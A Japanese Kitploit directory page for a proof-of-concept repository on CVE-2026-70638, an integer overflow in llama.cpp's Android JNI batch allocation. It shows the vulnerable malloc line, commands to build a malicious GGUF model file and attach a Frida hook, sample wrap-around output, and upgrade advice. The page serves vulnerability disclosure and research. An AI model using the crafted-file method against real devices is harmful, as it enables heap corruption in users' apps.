Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow — CVE-2026-70638の整数オーバーフローをllama.cpp Android JNIで再現し、安全な算術デモ、悪意のあるGGUF生成ツール、および許可されたセキュリティ研究用のFridaフックを備えています。 | Kitploit
ツール/GitHubGitHub/hunt-benito/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow
Androidセキュリティペイロード生成脆弱性分析動的コード分析 (DAST)エクスプロイト学習と教育
GitHubhunt-benito/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

CVE-2026-70638の整数オーバーフローをllama.cpp Android JNIで再現し、安全な算術デモ、悪意のあるGGUF生成ツール、および許可されたセキュリティ研究用のFridaフックを備えています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
81ヶ月前未レビュー

CVE-2026-70638 - llama.cpp LLaMA-Android JNI 整数オーバーフロー

Hunt-Benito 記事の付属 PoC 「One Multiply Too Many: CVE-2026-70638 — llama.cpp の Android JNI ヒープ割り当てにおける整数オーバーフロー」 → https://www.hunt-benito.com/blog/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow/

脆弱性

examples/llama.android/llama/src/main/cpp/llama-android.cpp 内の Java_android_llama_cpp_LLamaAndroid_new_1batch() (llama.cpp ビルド b1886–b7445) は、llama_batch_init() の手動コピーであり、チェックされていない malloc(sizeof(T) * count) 計算を複数実行します。攻撃者が制御する乗数 (n_seq_max、n_tokens、または embd) により、サイズがラップしてヒープブロックが必要サイズより小さくなり、呼び出し元の後続の書き込みがそれをオーバーフローさせます (CWE-190 → CWE-122)。NVD CVSS 3.1 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)。

この関数の脆弱な核心部分:

root@kitploit:~
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);

ファイル

実行

root@kitploit:~
# 1. Arithmetic demonstrator (the core of the article's PoC)
cc -O2 -o overflow_demo overflow_demo.c
./overflow_demo

# 2. Malicious model file
python3 craft_gguf.py 0x40000001 malicious.gguf   # -> 416-byte GGUF
xxd malicious.gguf | head                           # verify magic 'GGUF' + key

# 3. Live hook (rooted/emulator device with frida-server, authorized target only)
frida -U -l hook_new_batch.js -f <package> --no-pause

想定されるデモ出力 (抜粋)

root@kitploit:~
[2] Malicious: n_seq_max = 0x40000000 (2^30). 4 * 2^30 = 2^32 -> wraps:
  n_seq_max (attacker)   = 1073741824 (0x40000000)
  malloc size, arm64     = 4294967296 bytes (4.00 GiB)
  malloc size, armeabi-v7a = 0 bytes
  caller believes it got = 4294967296 bytes
  >>> 32-bit WRAP: 4294967296-byte write into 0-byte heap block (CWE-122)

適用範囲と精度に関する注意

サイズラップによる過小割り当ては、32ビット ABI (armeabi-v7a、現在も出荷中) で直接到達可能です。64ビット (arm64-v8a) では、同じチェックされていない式が代わりに複数 GiB のブロックを要求し、malloc が失敗します (NULL → 後のクラッシュ / DoS)。ヒープ破壊には 32ビットの経路が必要です。

overflow_demo.c は境界外書き込みを一切行いません — 算術演算がラップすることを証明するだけです。craft_gguf.py は実行不可能なモデル (テンソルなし) を生成するため、そのまま兵器化することはできません。これは、攻撃者が制御する乗数が信頼できないメタデータから取得されることを実証します。

修正

llama.cpp を b7446 以降にアップグレードしてください (Android バインディングの書き換えにより new_1batch JNI パスは削除されました)。影響を受けるビルドまたはダウンストリームフォークに留まる必要がある場合は、https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches から Cyera の検証パッチを適用してください (CVE-2026-43627 の batch-init ガードが、このバグクラスに対する標準的な修正です)。

情報源

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-70638
  • 修正 (書き換え) — https://github.com/ggml-org/llama.cpp/commit/5c0d18881e0e9794c96b2602736b758bac9d9388
  • 影響を受けるソース — https://github.com/ggml-org/llama.cpp/blob/b7445/examples/llama.android/llama/src/main/cpp/llama-android.cpp

許可されたセキュリティ研究および教育目的でのみ使用してください。

ツールをダウンロード
ファイル目的
overflow_demo.c32ビット (armeabi-v7a) と 64ビット (arm64-v8a) の size_t においてサイズ演算がラップすることを示すスタンドアロン再現プログラム。破損した書き込みは行わないため、どこでも安全に実行できます。
craft_gguf.pyllama.embedding_length を攻撃者指定の値に設定した、最小限で構造的に有効な GGUF を構築し、モデルファイルによる配信ベクトルを示します (embd は信頼できないメタデータから直接読み取られます)。
hook_new_batch.js研究用デバイスのライブ JNI 境界で 3 つの乗数をログ記録・上書きする Frida フック。